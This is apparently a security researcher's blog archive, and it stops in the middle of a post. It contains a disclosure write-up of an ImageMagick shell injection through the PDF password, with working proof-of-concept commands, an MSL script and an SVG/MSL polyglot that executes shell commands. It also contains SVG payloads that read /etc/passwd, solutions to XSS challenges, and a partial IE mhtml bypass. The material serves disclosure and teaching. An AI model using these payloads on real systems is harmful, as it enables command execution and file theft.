Saturday, November 21, 2020

ImageMagick - Shell injection via PDF password

"Use ImageMagick® to create, edit, compose, or convert bitmap images. It can read and write images in a variety of formats (over 200) including PNG, JPEG, GIF, HEIC, TIFF, DPX, EXR, WebP, Postscript, PDF, and SVG [ and many more ]"1

In 2016 ImageTragick was revealed. The associated reseachers showed that ImageMagick is not only powerful, eg you can read local files, but that it is possible to execute shell commands via a maliciously crafted image. 

In late 2016 and in 2018 Tavis Ormandy (@taviso) showed how the support of external programs ( ghostscript) in ImageMagick could lead to remote execution.

Given the past research I had a quick look at the supported external programs (libreoffice/openoffice I already spent quite some time on), and I decided to get a proper understanding how IM (ImageMagick) calls external programs and the way they fixed the shell injections in the ImageTragick report.

As you are reading this blogpost, it paid off and I found a vulnerability. But I also learned two things:

Note:
1) The IM team is really active and is trying to address any issue raised quickly (thats important later)
2) ImageMagick is an awesome tool to convert files. It supports some really weird old file types (often via external programs) and is trying to be as user friendly as possible, maybe a little too much ^^ 


The Fix: ImageMagick, https and cURL


An important part of ImageMagick and how it handles files is not solely the infamous delegates.xml file but the coders folder. 
The delegates.xml file specifies the commands and parameters to call an external program to handle a certain file type. But before that the handlers in the aforementioned coders folders are used to parse a file and determine if an external program needs to be called (this is a simplification but in most cases it works this way)
As there are lot of files in coders, I decided to check how https: URLs are handled by ImageMagick as I already knew curl will be used in the end, which was vulnerable to command injection.

To keep it short - the https: handler is registered in this line:
https://github.com/ImageMagick/ImageMagick/blob/master/coders/url.c#L327

In case IM has to handle https: URLs - the following branch is called:
status=InvokeDelegate(read_info,image,"https:decode",(char *) NULL,

InvokeDelegate calls InterpretDelegateProperties, which calls GetMagickPropertyLetter, which calls SanitizeDelegateString

whitelist[] =
      "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789 "
      "$-_.+!;*(),{}|\\^~[]`\"><#%/?:@&=";
[...]
for (p+=strspn(p,whitelist); p != q; p+=strspn(p,whitelist))
    *p='_';
  return(sanitize_source);

This function basically replaces ' (single quotes) with "_" on non-windows system (which I assume as the default). This is important as in the end ExternalDelegateCommand is called. 
This function handles calling external executables. The defined curl command in delegates.xml is used and the user defined URL is included in single quotes. As single quotes were filtered before, it is not possible to inject additional shell commands. 

I verified that by modifying the source code of IM and included some printf statements to dump the created command. 
So let's assume a SVG or MVG (an example is available in ImageTragick) that specifies an https: URL like this: 
<svg width="200" height="200" 
xmlns:xlink="http://www.w3.org/1999/xlink">
xmlns="http://www.w3.org/2000/svg">       
<image xlink:href="https://example.com/test'injection" height="200" width="200"/>
</svg>
Command line:
convert test.svg out.png

The created shell command by ImageMagick looks like this:
curl -s -k -L -o 'IMrandomnumber.dat' 'https://example.com/test_injection'

Important Note: As shown by this example, different coders can call each other as in this case SVG triggers the execution of the url.c coder. In case ImageMagick is compiled to use a third-party library like librsvg to parse SVG files, the third party library handles protocols by itself. In this scenario it is still possible to trigger ImageMagicks own SVG parsers via the MSVG support ("ImageMagick's own SVG internal renderer"):
convert test.msvg out.png

ImageMagick also allows to set a specific handler via this syntax:
convert msvg:test.svg out.png

Short intermission - reading local files

As ImageMagick allows to set specific file handlers as shown above, I decided to make a quick assessment, which handlers could allow to read and leak local files. 
My test case assumed that a user controlled SVG file is converted by IMs internal SVG parser to a PNG file, which is returned to the end user afterwards. An example could be an avatar upload on a website.
convert test.svg userfile.png
The first powerful coder is already mentioned in ImageTragick - text:. 'The "text:" input format is designed to convert plain text into images consisting one image per page of text. It is the 'paged text' input operator of ImageMagick.'. The coder is registered in txt.c.
<svg width="1000" height="1000" 
xmlns:xlink="http://www.w3.org/1999/xlink">
xmlns="http://www.w3.org/2000/svg">       
<image xlink:href="text:/etc/passwd" height="500" width="500"/>
</svg>

Another example to read /etc/passwd is based on LibreOffice. This is possible as LibreOffice supports the rendering of a text file. As ImageMagick has no support for this file type, the corresponding protocol handler can be found via the decode property in delegates.xml.
This vector only works of course when OpenOffice/LibreOffice is installed:

<svg width="1000" height="1000" 
xmlns:xlink="http://www.w3.org/1999/xlink">
xmlns="http://www.w3.org/2000/svg">       
<image xlink:href="odt:/etc/passwd" height="500" width="500"/>
</svg>

It is also possible to use html: - in case html2ps is installed. Although ImageMagick registers a "HTML" handler, it only sets an encoder entry. Encoders only handle the creation/writing but not reading (this is done by the decoders) of the file type. Therefore the decoder in delegates.xml is used:

<svg width="1000" height="1000" 
xmlns:xlink="http://www.w3.org/1999/xlink">
xmlns="http://www.w3.org/2000/svg">       
<image xlink:href="html:/etc/passwd" height="500" width="500"/>
</svg>

This is not an exhausted list but should document the general idea. Back to the shell injection.

Entry Point - Encrypted PDFs


After I got an understanding of the usage of curl, I checked again the command defined in delegates.xml:
<delegate decode="https:decode" 
command="&quot;@WWWDecodeDelegate@&quot; -s -k -L -o &quot;%u.dat&quot; &quot;https:%M&quot;"/>

%M is replaced with the user-controlled URL. Therefore, I checked all occurrences of %M and if they are handled correctly. Additionally I had a look at all the defined replacement values defined in property.c. In the end nothing yielded a proper injection vulnerability. 
Then I stumbled upon the following line in the pdf.c coder:

(void) FormatLocaleString(passphrase,MagickPathExtent,
        "\"-sPDFPassword=%s\" ",option);

As this seemed to set a password, which is most likely fully user controlled, I looked up how this parameter can be set and if it could be abused. Based on the changelog, ImageMagick added a "-authenticate" command line parameter in 2017 to allow users to set a password for encrypted PDFs.
So, I tested it via the following command to dump the created command:
convert -authenticate "password" test.pdf out.png

Shell command created:
'gs' -sstdout=%stderr -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 '-sDEVICE=pngalpha' -dTextAlphaBits=4
-dGraphicsAlphaBits=4 '-r72x72' "-sPDFPassword=password" '-sOutputFile=/tmp/magick-YPvcqDeC7K-Q8xn8VZPwHcp3G1WVkrj7%d' '-f/tmp/magick-sxCQc4-ip-mnuSAhGww-6IFnRQ46CBpD' '-f/tmp/magick-pU-nIhxrRulCPVrGEJ868knAmRL8Jfw9'

As I confirmed that the password is included in the created gs command, which parses the specified PDF, it was time to check if double quotes are handled correctly:

convert -authenticate 'test" FFFFFF' test.pdf out.png

'gs' -sstdout=%stderr -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 '-sDEVICE=pngalpha' -dTextAlphaBits=4
-dGraphicsAlphaBits=4 '-r72x72' "-sPDFPassword=test" FFFFFF" '-sOutputFile=/tmp/magick-YPvcqDeC7K-Q8xn8VZPwHcp3G1WVkrj7%d' '-f/tmp/magick-sxCQc4-ip-mnuSAhGww-6IFnRQ46CBpD' '-f/tmp/magick-pU-nIhxrRulCPVrGEJ868knAmRL8Jfw9
 

To my surprise I was able to prematurely close the -sPDFPassword parameter, which allows me to include additional shell commands. The specified "password" has to contain one of the following characters "&;<>|" so the shell injection gets actually triggered. The reason being that ImageMagick will only use the system call (and therefore the system shell) in case one of these characters is present:

if ((asynchronous != MagickFalse) ||
      (strpbrk(sanitize_command,"&;<>|") != (char *) NULL))
    status=system(sanitize_command); 

Putting alltogether I tested the following command:
convert -authenticate 'test" `echo $(id)> ./poc`;"' test.pdf out.png
Shell command created: 
'gs' -sstdout=%stderr -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 '-sDEVICE=pngalpha' -dTextAlphaBits=4
-dGraphicsAlphaBits=4 '-r72x72' "-sPDFPassword=test" `echo $(id)> ./poc`;"" '-sOutputFile=/tmp/magick-pyNxb2vdkh_8Avwvw0OlVhu2EfI3wSKl%d' '-f/tmp/magick-IxaYR7GhN3Sbz-299koufEXO-ccxx46u' '-f/tmp/magick-GXwZIbtEu63vyLALFcqHd2c0Jr24iitE'

The file "poc" was created and it contained the output of the id command. At this point I had a confirmed shell injection vulnerability.
The problem was: It is unlikely that a user has the possibility to set the authenticate parameter. So I decided to look for a better PoC:

Explotation - MSL and Polyglots


I needed to find a way to set the "-authenticate" parameter via a supported file type and I already knew where to look at: ImageMagick Scripting Language (MSL). This is a XML based file format supported by ImageMagick, which allows to set the input file, output file and additional parameters. An example file can be found here - I simplified it a bit:

<?xml version="1.0" encoding="UTF-8"?>
<image>
  <read filename="image.jpg" />
  <get width="base-width" height="base-height" />
  <resize geometry="400x400" />
  <write filename="image.png" />
</image>


This file format is not properly documented, which is mentioned by the ImageMagick team, so I checked the source code regarding the supported attributes. I quickly discovered the following line in the source code of the MSL coder:

if (LocaleCompare(keyword,"authenticate") == 0)
{
(void) CloneString(&image_info->density,value);
break;
}

Via additional debug calls I verified that this path handles any tag, which sets the authenticate attribute. But the code assigns the defined value to the density property, which made no sense. After studying the rest of the MSL code I came to the following conclusion:

1) This code should set the authenticate attribute similar to the "-authenticate" command line parameter.
2) The code was simply wrong and therefore blocking the possibility to abuse the shell injection.

So I decided to do something I haven't done before: Mention this problem via Github and see if it gets fixed (I created a new github account for that) - https://github.com/ImageMagick/ImageMagick/discussions/2779

In the end the code was fixed correctly:

if (LocaleCompare(keyword,"authenticate") == 0)
{
(void) SetImageOption(image_info,keyword,value);
break;
}

I immediately created a PoC MSL script to verify I could abuse the shell injection. Note that it is necessary to specify the msl: protocol handler so IM actually parses the script file correctly:

<?xml version="1.0" encoding="UTF-8"?>
<image authenticate='test" `echo $(id)> ./poc`;"'>
  <read filename="test.pdf" />
  <get width="base-width" height="base-height" />
  <resize geometry="400x400" />
  <write filename="out.png" />
</image>

convert msl:test.msl whatever.png

And it worked - the "poc" file was created, proofing the shell injection.
Last step: Wrap this all up in one SVG polyglot file.

SVG MSL polyglot file:

My created polyglot file is a SVG file, which loads itself as an MSF file to trigger the shell injection vulnerability. I will start showing the SVG polyglot file and explain its structure:

poc.svg:
<image authenticate='ff" `echo $(id)> ./0wned`;"'>
  <read filename="pdf:/etc/passwd"/>
  <get width="base-width" height="base-height" />
  <resize geometry="400x400" />
  <write filename="test.png" />
  <svg width="700" height="700" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">       
  <image xlink:href="msl:poc.svg" height="100" width="100"/>
  </svg>
</image>

First of all the SVG structure has an image root tag. As the parser does not enforce that the SVG tag is the root tag, IM has no problems parsing this file as a SVG. The SVG structure specifies an image URL, which uses msl:poc.svg. This tells ImageMagick to load poc.svg with the MSL coder. 

Although MSF is a XML based structure, the MSF coder does not deploy a real XML parser. It only requires that the file starts with a tag it supports. Another trick I used is present in the read tag. It is necessary to target a PDF file to trigger the vulnerability. To bypass this necessity, I specified any known local file and used the pdf: protocol handler to ensure it is treated as a PDF:

PoC file in action:























The PoC is still not perfect as I have to assume the filename does not get changed as the file has to be able to reference itself. But I decided thats good enough for now. 

PreConditions and protection


Obviously this vulnerable only works in case ImageMagick is not compiled with a third-party library, which handles PDF parsing.
Also a user has to be able to set the "authenticate" parameter, either via the command line or via MSL (as shown in my PoC file).

In case ImageMagick must not handle PDF files, it is possible to disable the PDF coder via the policy.xml file therefore preventing the shell injection. How to configure policy.xml is already documented by https://imagetragick.com/ (just include "PDF"). 

Affected versions:
- Injection via "-authenticate"
    -ImageMagick 7:    7.0.5-3 up 7.0.10-40
- Explotation via MSL: 
    - ImageMagick 7:    7.0.10-35 up 7.0.10-40

Regarding ImageMagick 6 (aka legacy). Based on the source code the following versions should be vulnerable.

- Injection via "-authenticate"
    - ImageMagick 6:     6.9.8-1 up to 6.9.11-40
- Explotation via MSL: 
    -ImageMagick 6:     6.9.11-35 up to 6.9.11-40

I focused my testing solely on ImageMagick 7 so I tried ImageMagick 6 really late. It seems the "-authenticate" feature is broken in the legacy branch. But during testing my VM died so I leave it to the readers to create a PoC for ImageMagick 6 (or maybe I will do it as soon as I have some free time)

Timeline:

- 2020-11-01: Reported the vuln to ZDI
- 2020-11-16: Didn't want to wait for any response from ZDI so reported the issue to ImageMagick 
- 2020-11-16: ImageMagick deployed a fix and asked me if I could wait for disclosure, as there is a release planned for this weekend. 
- 2020-11-16-20: Discussed the fix with the ImageMagick team.
- 2020-11-21: Version 7.0.10-40 and 6.9.11-40 released. 

I want to thank the ImageMagick developers. They try to address and fix any issues raised as quick as possible (feature or security related, doesn't matter). Additionally they allowed me to provide input how I would address the issue (which is not always accepted^^).




Monday, September 7, 2020

XSS Challenge Solution - SVG use

I spend quite some on SVG and its features. Additionally I stumbled upon this bug report from SecurityMB, which abused the SVG use tag. So I decided it is time for a challenge based on this tag. 

Challenge Setup


The goal of the challenge was to send a message via postMessage, which originates from http://insert-script.com. The deployed Content-Security-Policy only allowed the data: protocol. As this could be easily solved by using <script src=data:text/javascript,top.postMessage> or via an iframe and the srcdoc attribute, a regular expression is blocking these vectors. Additionally it is mentioned that this challenge can only be solved in Mozilla Firefox.

<?php
header("Content-Security-Policy: default-src data:");
?>
<!DOCTYPE html>
<body>
<h4>
Goal: Trigger alert - you did it <br/><br/>
Known solution: Requires Firefox <br/><br/>
Unintended solutions: Most likely possible, haven't really checked <br/><br/>
Headers: Script only adds CSP header, rest is done by the hoster <br/><br/>
Have Fun <br/><br/>
<b>Help:</b> <font color="red">Use</font> the good old <font color="red">SVG </font>
<br/><br/>
Found the solution: DM me - @insertscript  <br/>
</h4>
Be the ?xss parameter with you <br/><br/>
<script src='data:text/javascript,
window.addEventListener("message",function(e){
	alert(e.origin);
	if(e.origin == "http://insert-script.com")
	{
		alert("you did it!");
	}
});'>
</script>
<div id="testpad"></div>
<script src='data:text/javascript,
var challengeInput = new URL(location.href).searchParams.get("xss");
if (/(script|srcdoc)/gi.test(challengeInput))
{
	challengeInput = "<i>nope nope nope</i>";
}
testpad.innerHTML = challengeInput;
'>
</script>


The solution - SVG use


Given the setup of this challenge it was not possible to use the embed, object or iframe tag to load a HTML document via data:, as the origin of the send postMessage is not http://insert-script.com (https://jsfiddle.net/nytg42zq/). For most tags the data: protocol is treated as a unique origin BUT not in the case of the SVG use tag. 
The SVG use tag allows to reference and load a SVG document. An example structure looks like this - note the hash as it is required to reference the ID of an element in the loaded SVG structure.

<svg>
<use href='data:image/svg+xml,
<svg id="test" viewBox="0 0 120 120" version="1.1" xmlns="http://www.w3.org/2000/svg">
<circle fill="red" cx="60" cy="60" r="50"/>
</svg>#test'></use></svg>

Although the SVG specifications contains the script element, it can not be used for the solution as it doesn't get executed by the browser in the context of the SVG use tag (see here). But the SVG specification has a way more interesting tag - foreignObject

foreignObject


"The <foreignObject> SVG element includes elements from a different XML namespace.". This means that SVG can load additional tags from other namespaces (the browser has to support the namespace of course). Therefore it is possible to load HTML tags inside SVG via the XHTML namespace. By specifying the XHTML namespace, the iframe tag and its srcdoc attribute is available once again. This allows now to include a script tag inside a the iframe srcdoc attribute, which loads a script via the data: protocol. As the SVG document loaded via the SVG use tag is considered same origin, although the data: protocol handler is being used, the iframe and therefore its srcdoc document is considered same-origin as well.  

Solution: 
http://insert-script.com/challenges/challenge2/xchallenge.php?xss=%3Csvg%3E%3Cuse%20href%3D%22data%3Aimage%2Fsvg%2Bxml%3Bbase64%2CPHN2ZyBpZD0icmVjdGFuZ2xlIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiAgd2lkdGg9IjEwMDAiIGhlaWdodD0iMTAwMCI%2BCiA8Zm9yZWlnbk9iamVjdCB3aWR0aD0iMTAwIiBoZWlnaHQ9IjUwIiByZXF1aXJlZEV4dGVuc2lvbnM9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGh0bWwiPgoJPGlmcmFtZSB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94aHRtbCIgc3JjZG9jPSImbHQ7c2NyaXB0IHNyYz0nZGF0YTp0ZXh0L2phdmFzY3JpcHQscGFyZW50LnBvc3RNZXNzYWdlKCZxdW90O2EmcXVvdDssICZxdW90OyomcXVvdDspJyZndDsmbHQ7L3NjcmlwdCZndDsiIC8%2BCiAgICA8L2ZvcmVpZ25PYmplY3Q%2BCjwvc3ZnPg%3D%3D%23rectangle%22%2F%3E%3C%2Fsvg%3E
The URL decoded payload
<svg><use href="data:image/svg+xml;base64,
PHN2ZyBpZD0icmVjdGFuZ2xlIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiAgd2lkdGg9IjEwMDAiIGhlaWdodD0iMTAwMCI+CiA8Zm9yZWlnbk9iamVjdCB3aWR0aD0iMTAwIiBoZWlnaHQ9IjUwIiByZXF1aXJlZEV4dGVuc2lvbnM9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGh0bWwiPgoJPGlmcmFtZSB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94aHRtbCIgc3JjZG9jPSImbHQ7c2NyaXB0IHNyYz0nZGF0YTp0ZXh0L2phdmFzY3JpcHQscGFyZW50LnBvc3RNZXNzYWdlKCZxdW90O2EmcXVvdDssICZxdW90OyomcXVvdDspJyZndDsmbHQ7L3NjcmlwdCZndDsiIC8+CiAgICA8L2ZvcmVpZ25PYmplY3Q+Cjwvc3ZnPg==#rectangle"/></svg>

Base64 decoded SVG payload:

<svg id="rectangle" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"  width="1000" height="1000">
  <foreignObject width="100" height="50" requiredExtensions="http://www.w3.org/1999/xhtml">
<iframe xmlns="http://www.w3.org/1999/xhtml"
srcdoc="&lt;script
src='data:text/javascript,parent.postMessage(&quot;a&quot;, &quot;*&quot;)'
&gt;&lt;/script&gt;" /></foreignObject></svg>

The solution only works in Firefox as Google Chrome does not support the foreignObject tag in the context of the SVG use tag.

Additional notes


Through Twitter messages I was made aware that people were close to solving the challenge. They managed to inject a SVG document via SVG use and used the foreignObject tag to inject an iframe srcdoc document. But as soon as the iframe srcdoc attribute contained "<", it would no longer be loaded. This is different to the standard HTML parsing behavior most people are used to. The parsing difference is introduced by the SVG use element. It references a SVG document, which is a XML based file format. Therefore XML parsing rules are enforced. This means that not only all tags have to be closed correctly but that attributes can not contain "<" - they have to be HTML encoded (eg &#x3c; or &lt;) or else a parsing error occurs and the document isn't rendered at all (some back story about HTML vs XML). 

Lastly - why can SVG use load a document via data:, which is considered same origin and not a unique origin like in the case of eg iframe? 
I have no idea -  I know only three things:
-) Mozilla Firefox treated documents loaded via SVG use and the data: protocol handler as a same origin resource as far as I can remember. 
-) Regarding Google Chrome - I can quote my own blogpost from 2014: "Chrome does not support the data: URL scheme inside the xlink:href attribute of the <use> tag." - but in 2020 it does
-) The standard doesn't seem to help - maybe I didn't find the correct standard^^:

Unlike 'image', the 'use' element cannot reference entire files.

Unlike ‘image’, the ‘use’ element cannot reference entire files.

User agents may restrict external resource documents for security reasons. In particular, this specification does not allow cross-origin resource requests in ‘use’. A future version of this or another specification may provide a method of securely enabling cross-origin re-use of assets.

I also have to mention that different CSP directives are used for <svg><use>. Google Chrome applies CSP img-src to the use element as it does not support foreignObject and the resource is considered an image. Mozilla Firefox applies the CSP default-src directive to the use element as it basically a new document and no specific directive exists for the element. Please note that this is only my interpretation. 

So all in all things are complicated - but don't worry. Mathml has a similar tag ;) 


Friday, March 27, 2020

XSS Challenge Solution - Refresh header


I used my available time to read NoScripts code and discovered an interesting check, which handles a header I either forgot about or never learned. As many people are at home now anyway, I decided to build a short challenge based on that header. This blogpost is about the relevant header, additional information about the header's behavior, the solution and an unintended solution.
In case you only want to see the solution jump to the end of this blogpost.

Challenge Setup


The code fetches the string specified in the URLs hash and passes it to chall.php. The goal was to send a postMessage request originating from the iframe. Additionally, I added X-Frame-Options: DENY, so it is not possible to frame start.php and use JavaScript to change the location of the created frame. This would have allowed to bypass the challenge completely.

File: start.php
<?php
header("X-Frame-Options: DENY");
?>
<!DOCTYPE html>
<body>
<script>
window.addEventListener("message",function(e){
 if (e.source == window.frames[0]){
  alert("YOU WIN!");
 }else

 {
  alert("Nope but nice try");
 }
});
 var challenge = location.hash.substr(1);
 if (challenge.length >0 )
 {
  var hello_user = document.createElement("iframe");
  hello_user.src=`chall.php?header=${challenge}`;
  document.body.appendChild(hello_user);
 }
</script>
<h2>
Welcome to my challenge
</h2>
</body>

Chall.php accepts the HTTP GET variable header. I hacked together a snippet, which parsed the variable and allowed to inject one additional header in the HTTP response.
Additionally I ensured that the HTTP response code is always 201 Created.
This ensured that in case eg. Location: http://example.com is injected, the browser won't load this origin as the response code is 201 Created and therefore the header is ignored.
Note: I used 201 Created as this response code is not overwritten by PHPs Location: header implementation.

File: chall.php
<?php
/*
 * FAKE HTTP header response injection
*/
error_reporting(0);
$headers = preg_replace("/[\r\n]+/","\n",$_GET['header']);
$headers = explode("\n",$headers);
header("X-User: name-" . $headers[0]);
http_response_code(201);
header($headers[1]);
?>
<h1>Hello :)</h1>



The solution - Refresh header


To summarize: the setup required the usage of postMessage via the created iframe, which allowed to inject one additional response header. It is not possible to just inject a Location: header to load an attacker controlled page because of the HTTP/1.1 201 Created response as browsers will ignore the Location header.
The solution is to inject the Refresh: header, which is identical to the meta http-equiv="refresh" redirect many know about. This header is supported in all modern browsers and even works in HTTP/1.1 201 Created responses. The syntax looks like this:

Refresh: <time>; url=<theDomain>

As this header allows to redirect to any page, which is loaded in the frame, it is straightforward to send a postMessage to the top page. My intended solution looked like this:
http://insert-script.com/challenges/challenge1/start.php#abc%0aRefresh:%200;%20URL=data:text/html,%3Cscript%3Etop.postMessage(%22%22,%22*%22)%3C/script%3E

This triggers the following HTTP response in chall.php:
x-user: name-abc
refresh: 0; URL=data:text/html,<script>top.postMessage("","*")</script>

This will immediately load the HTML structure specified via the data: protocol handler in the iframe, which will send a message to start.php therefore solving the challenge. In case you want to learn more about the Refresh: header - I suggest reading the blogpost of otsukare back in 2015: http://www.otsukare.info/2015/03/26/refresh-http-header

Additional notes about the solution


Many submitted solutions redirected the iframe to a custom domain. But it is possible to use the data: protocol handler, as the Refresh: header is injected in the context of an iframe. It is not possible to redirect to the data: protocol handler in top level navigations, similar to the Location: header.

One additional discovery was the possibility to shorten the solution. I assumed it is necessary to specify the url= part in the Refresh header. But this is not necessary:
start.php#abc%0aRefresh: 0;data:text/html,<script>top.postMessage("","*")</script>

You can see it in action via the meta tag as well:
https://jsfiddle.net/wL3kun9z/


The unintended solution - Chrome/Safari only


Let's have a look at the winning condition again:
window.addEventListener("message",function(e){
if (e.source == window.frames[0]){
alert("YOU WIN!");
}
[...]
var challenge = location.hash.substr(1);
if (challenge.length >0 ) {
/* actually do stuff */
When start.php is opened without any data in location hash it does not create an iframe. As no frame is created window.frames[0] is returning undefined. I assumed this is not a problem as the source property of a postmessage event will never be undefined or null (Note: null == undefined // true).

Michał Bentkowski (SecurityMB) discovered that it is possible in Google Chrome to use postMessage in such a way that the source property is set to null. As null == undefined returns true, the winning condition is fulfilled, and the alert is shown.
His solution requires a click as the challenge sites needs to be opened in a new window (script triggered popups are blocked by the standard popup blocker).
It is possible to test the solution: https://jsfiddle.net/7dfmr4ca/

<!DOCTYPE html>
<a href=javascript:solve()>CLICK ME<br>
  <span id=ifr>
    <iframe></iframe>
  </span>

<script>
function sleep(ms) {
  return new Promise(r => setTimeout(r, ms));
}
  
async function solve() {
  let win = window.win = window.open('http://insert-script.com/challenges/challenge1/start.php', '_blank', 'width=500,height=500');
  
  await sleep(2000);
  
  // Send postMessage from the iframe
  frames[0].eval("parent.win.postMessage(0xdeadbeef,'*')");
  
  // Delete the old iframe
  // now e.source is null
  ifr.innerHTML = 'aaabcd';
}
     
</script>

Lets check the solution step by step:
1) The HTML contains an empty iframe, which is used later on.
2) As soon as the function solve() is triggered, the challenge is opened in a new window and the code will wait for 2 seconds. This is solely to ensure that the challenge site is properly loaded.
3) frames[0].eval is used to send a postMessage message originating from the iframe to the challenge popup window.
4) Immediately afterwards ifr.innerHTML = 'aaabcd' is used to destroy the iframe.
5) The popup receives the postMessage event but as the source (eg the iframe) is already destroyed, the events source is set to null. Therefore the winning condition is fulfilled.

This does not work in Mozilla Firefox as it correctly sets the events source property despite the origin, the iframe, being already destroyed.

I want to thank everybody who participated in the challenge. I learned a lot and therefore I can only suggest everybody to create this kind of challenges as well.
The solutions people discover are really interesting :)


Sunday, January 26, 2020

Internet Explorer mhtml: - Why you should always store user file uploads on another domain


This blogpost is about an issue I discovered some years ago in Internet Explorer. Given that it requires that ActiveX plugins like Adobe PDF or Flash are installed in IE, I feel fine to share it.

The issue is a combination of the old mhtml: protocol handler and the Content-Disposition: attachment header.
I try to keep this blogpost short but I am aware that .MHT and mhtml: are not that well known so I am going to explain it really quickly. In case you are familiar with this feature, you can skip to the end of this blog post.


MHT/MHTML - MIME Encapsulation of Aggregate HTML Documents


For those who have never saved a complete web page in Internet Explorer, mhtml or its extensions .mht is most likely unknown. MHTML stands for MIME Encapsulation of Aggregate HTML Documents. Wikipedia describes it as a "web page archive format used to combine in a single document the HTML code and its companion resources that are otherwise represented by external links (such as images, Flash animations, Java applets, and audio files)".


Filename: test.mht
Content-Type: multipart/related;  
type="text/html";  
boundary="----=_NextPart_000_0015_01D57001.44159140"

This is a multi-part message in MIME format.  
------=_NextPart_000_0015_01D57001.44159140
Content-Type: text/html;  charset="utf-8"
Content-Transfer-Encoding: quoted-printable
Content-Location: test.html

<HTML>
<body>
<h1>32</h1>
</body>
</html>
------=_NextPart_000_0015_01D57001.44159140
Content-Type: text/html;  charset="utf-8"
Content-Transfer-Encoding: quoted-printable
Content-Location: test2.html

<HTML>
<body>
<h1>test2.html</h1>
</body>
</html>
------=_NextPart_000_0015_01D57001.44159140
Content-Type: text/html;  charset="utf-8"
Content-Transfer-Encoding: base64
Content-Location: base64.html

PGgxPmJhc2U2NDwvaDE+
------=_NextPart_000_0015_01D57001.44159140-- 


You can save this structure with a .mht file extension and open it in Internet Explorer. It will render the file and show <h1>32</h1> as it is the first part of the structure
To be able to reference a specific file inside this structure, the mhtml: protocol handler must be used. 

MHTML: Protocol handler 

The general structure of the mhtml: protocol handler looks like this:
mhtml:*Path to MHT file*!*Content-Location name*

Let's assume the example structure shown before is hosted on the following URL:
http://example.com/test.mht


In case the test2.html part of the structure has to be loaded, the full URL must look like this:
mhtml:http://example.com/test.mht!test2.html

This tells IE to render the content of this location:
<h1>test2.html</h1>

In case the base64.html file gets referenced, IE will base64 decode the content before it is rendered. This behavior is controlled via the Content-Transfer-Encoding header.
mhtml:http://example.com/test.mht!base64.html
Base64 decoded HTML structure:
<h1>base64</h1>

These examples only showcased HTML files but the MHTML file structure allows to store any other type of file as well.
It must be noted that in case you want to test these examples, you have to serve the MHT file with the following type. The reason for this necessity will be explained in the next chapter:
Content-Type: message/rfc822

The past and the fix


In the past Internet Explorers mhtml: protocol handler implementation did not enforce strict parsing rules.
This behavior was abused in multiple ways. Developer could use it as a fallback for IE versions, which did not support the data: protocol handler. Attacker abused it to attack websites and introduce XSS vulnerabilities or implemented other attack vectors. The following list is a just short glimpse into the ways the mhtml: protocol handler was abused:

http://www.phpied.com/mhtml-when-you-need-data-uris-in-ie7-and-under/#comment-74091


https://lcamtuf.blogspot.com/2011/03/note-on-mhtml-vulnerability.html


In the end Microsoft deployed a fix, which requires that any MHTML file is served with a Content-Type: message/rfc822 or the mhtml: lookup will no longer work.

Honorable mention:
In 2017 mhtml was abused once again - to trigger a universal XSS vulnerability in Chrome: https://github.com/Bo0oM/CVE-2017-5124

The Bug:  MHTML vs Content-Disposition


I discovered that Internet Explorer will ignore the requirement of the correctly set Content-Type header for MHTML files as soon as a Content-Disposition: attachment header is present in a HTTP response. This is not immediately exploitable. Although it is possible to use mhtml: and load a specific resource inside the structure, IE will still trigger a download.
To bypass this restriction and actually parse the resource in the browser , common Internet Explorer ActiveX plugins like Adobe Flash/PDF can be used.
Internet Explorer allows to enforce the rendering of resources via installed ActiveX plugins by using the embed or object tag, which allow to specify the corresponding content type. This behavior does not only allow to interpret the resource as a MHT file and load a resource (eg flash) but no download is triggered. Most importantly the loaded resource is considered in the origin http://example.com/ as mhtml: is not considered as a part of the Same Origin Policy (*Notes about SOP at the end of this post*):
<embed src="mhtml:http://example.com/test.mht!test.swf" type="application/x-shockwave-flash" />

But this behavior has another side effect, which helps an attacker. IE does not only ignore the Content-Type requirement, it will ignore any other security headers. The most common one used to prevent this attack would be X-Frame-Options: deny, which disallows loading the resource in an iframe, embed, object or frame tag.

Theoretical real world example:

Let's assume example.com has to serve user uploaded files on its own origin, which can be accessed by any authenticated users. It sets the following HTTP headers for these resources to ensure they are never rendered as active content inside the browser.
It does not only enforce a download but it is disallowing framing the resource (X-Frame-Options), sets a fixed and safe type (Content-Type) and disables content type sniffing (X-Content-Type-Options):

<?php
header("Content-Type: text/plain");
header('Content-Disposition: attachment; filename="test.txt"');
header("X-Content-Type-Options: nosniff");
header("X-Frame-Options: deny");
echo file_get_contents("userfile.tmp"); // contains the user controlled content
?>

At first an attacker has to upload a MHTML file to example.com - the following example contains a hello world PDF file, but it can be modified to contain a flash file as well. Let's assume it is stored at http://example.com/user/123/download.php?id=3:

Content-Type: multipart/alternative;
 boundary="----=_NextPart_000_0000_01D56FF0.D41CF780"

This is a multi-part message in MIME format.

------=_NextPart_000_0000_01D56FF0.D41CF780
Content-Type: application/pdf;
 charset="Windows-1252"
Content-Transfer-Encoding: base64
Content-Location: abcd.pdf

JVBERi0xLjEKMSAwIG9iago8PAolCS9UeXBlIC9DYXRhbG9nCgkvUGFnZXMgMiAwIFIKICAgIC9B
